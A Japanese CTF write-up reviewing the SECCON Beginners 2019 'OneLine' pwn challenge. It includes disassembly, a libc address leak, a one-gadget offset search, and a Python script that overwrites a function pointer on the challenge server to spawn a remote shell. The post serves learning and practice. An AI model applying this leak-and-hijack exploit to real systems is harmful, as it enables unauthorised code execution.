SECCON Beginners CTF 2019 の復習

# はじめに
SECCON Beginners CTF 2019に出場し，1220点で84位でした．
![無題.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/42683/49bd27f4-ab54-b71f-3c19-87354bd81aed.png)
Pwnable問題が全く解けなかったので，現在いろいろな方のWrite upを見て勉強中です．
理解確認も込めて復習した内容を記載したいと思います．

## OneLine

### 参考にした記事
https://ptr-yudai.hatenablog.com/entry/2019/05/26/150937
https://qiita.com/xio_yae/items/8047b9b3cf60d57b4bc7
http://katc.hateblo.jp/entry/2016/10/28/124025
https://osanamity.net/2018/11/06/110940
https://qiita.com/kusano_k/items/c1c7ebec353d0bfdf1eb

まずアセンブリを読んで見ます．

```
$ objdump -d -M intel oneline
000000000000086d <main>:
 86d:   55                      push   rbp
 86e:   48 89 e5                mov    rbp,rsp
 871:   48 83 ec 10             sub    rsp,0x10
 875:   be 01 00 00 00          mov    esi,0x1
 87a:   bf 28 00 00 00          mov    edi,0x28
 87f:   e8 7c fe ff ff          call   700 <calloc@plt>             // rax = calloc(40, 1)
 884:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax      // *(rbp-0x8) = rax bufferを初期化している
 888:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
 88c:   48 8b 15 45 07 20 00    mov    rdx,QWORD PTR [rip+0x200745]        # 200fd8 <write@GLIBC_2.2.5> // rdxにwriteのアドレスを入れている
 893:   48 89 50 20             mov    QWORD PTR [rax+0x20],rdx     // (1) bufferの33Byte目にはwriteのアドレスが格納される
 ...
 8a8:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
 8ac:   ba 28 00 00 00          mov    edx,0x28
 8b1:   48 89 c6                mov    rsi,rax
 8b4:   bf 00 00 00 00          mov    edi,0x0
 8b9:   e8 32 fe ff ff          call   6f0 <read@plt>               // (2) rax = read(0, buffer, 40)
 8be:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]      // raxにbufferの先頭アドレスを代入
 8c2:   48 8b 40 20             mov    rax,QWORD PTR [rax+0x20]     // (3) raxにbuffer+32つまり（bufferに何も入力がなければ）writeのアドレスが入る
 8c6:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
 8ca:   ba 28 00 00 00          mov    edx,0x28
 8cf:   48 89 ce                mov    rsi,rcx
 8d2:   bf 01 00 00 00          mov    edi,0x1
 8d7:   ff d0                   call   rax                          // (4) raxつまりwrite(1, buffer, 40)が呼ばれる
 8d9:   48 8d 3d f1 00 00 00    lea    rdi,[rip+0xf1]        # 9d1 <_IO_stdin_used+0x21>
 ...
 8fb:   e8 f0 fd ff ff          call   6f0 <read@plt>               // (5) eax = read(0, buffer, 40)
 ...
 91a:   ff d0                   call   rax                          // (6) buffer+32のアドレスにある命令が呼ばれる
```

上記プログラムは実行すると

```
$ ./oneline
You can input text here!
>> aa
aa
@ｧ絨nce more again!
>> aa
aa
```
のように入力待ちとなったあと，入力した文字が表示されるというのが2回繰り返されるがこれは
(2)のreadで入力をbufferに格納
(3)で文字が32文字以内の場合は残り8Byteに格納されているwrite命令がraxに代入される
(4)raxが実行される
(5),(6)で同様
という流れで動くからです．試しに標準入力に入れる文字数を32と33で変更してみると(3),(4)の挙動がわかります（echo -nのnは改行文字を入れないオプション）

```
$ echo -n 12345678901234567890123456789012 | ./oneline
You can input text here!
>> 12345678901234567890123456789012@瞼Once more again!  // 入力文字列が表示される
$ echo -n 123456789012345678901234567890123 | ./oneline
You can input text here!                                // 入力文字列が表示されない
>> Once more again!
$
```

そうすると方針としては以下のようになります．
1. 1回目のreadに空文字を入力すると33バイト目にwriteのアドレスが入った文字列が返ってくる
2. writeのアドレス-libcのwriteのアドレスでlibcのベースとなる
3. libcのベースのアドレス+/bin/shを起動する命令のアドレスを2回目のreadに食わせる
4. (6)で/bin/shを起動する命令が実行される

libcのwriteのアドレスは以下で取得できます

```
$ nm -D libc-2.27.so | grep write
000000000008cea0 T _IO_do_write
...
0000000000110140 W write
00000000001166a0 W writev
```

/bin/shを起動する命令はsystem("/bin/sh")が簡単だが，今回

```
 90b:   8b 55 f4                mov    edx,DWORD PTR [rbp-0xc]
 90e:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
 912:   48 89 ce                mov    rsi,rcx
 915:   bf 01 00 00 00          mov    edi,0x1                      // edi = 1
 91a:   ff d0                   call   rax                          // (6)                 
```
raxにsystemのアドレスを渡すと第1引数が1となってしまいsystem("/bin/sh")が実行できないです．
そんな場合はOne-gadget RCEと呼ばれる手法を用いるそうです．
One-gadget RCEは特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)を実行する箇所がlibcに存在するらしく，そこをraxに入れるという寸法です．
One-gadgetの探し方としては/bin/shのアドレスを直接入れるexecveを探せばよいそうで

```
$ strings -tx -a libc-2.27.so | grep "/bin/sh"
 1b3e9a /bin/sh
$ objdump -d libc-2.27.so | grep 1b3e9a -A 8 -B 8 | grep execve -B 8
   4f322:       48 8b 05 7f bb 39 00    mov    0x39bb7f(%rip),%rax        # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
   4f329:       48 8d 3d 6a 4b 16 00    lea    0x164b6a(%rip),%rdi        # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
   4f330:       48 8d 74 24 40          lea    0x40(%rsp),%rsi
   4f335:       c7 05 a1 e2 39 00 00    movl   $0x0,0x39e2a1(%rip)        # 3ed5e0 <__abort_msg@@GLIBC_PRIVATE+0x8c0>
   4f33c:       00 00 00
   4f33f:       c7 05 9b e2 39 00 00    movl   $0x0,0x39e29b(%rip)        # 3ed5e4 <__abort_msg@@GLIBC_PRIVATE+0x8c4>
   4f346:       00 00 00
   4f349:       48 8b 10                mov    (%rax),%rdx
   4f34c:       e8 df 5a 09 00          callq  e4e30 <execve@@GLIBC_2.2.5>
--
   ...
```
上記の4f322からの命令がexecve("/bin/sh", NULL, environ)になるそうです.

以上を踏まえて攻撃手法をまとめると
1. 1回目のreadに空文字を入力しwriteのアドレスを取得する
2. writeのアドレス-libcのwriteのアドレスでlibcのベースを取得する
3. 2回目のreadにlibcのベースのアドレス+4f322を入力する
となります．
実際のコードは以下です

```python
import socket
import struct
import time
import telnetlib

s = socket.create_connection(("153.120.129.186", 10000))

time.sleep(1)
s.recv(40)
s.send(b"aaa")
d = s.recv(40)

write_addr = struct.unpack("<Q", d[0x20:])[0]

rce = write_addr - 0x110140 + 0x4f322

s.send(b"a"*0x20+struct.pack("<Q", rce))

t = telnetlib.Telnet()
t.sock = s
t.interact()
```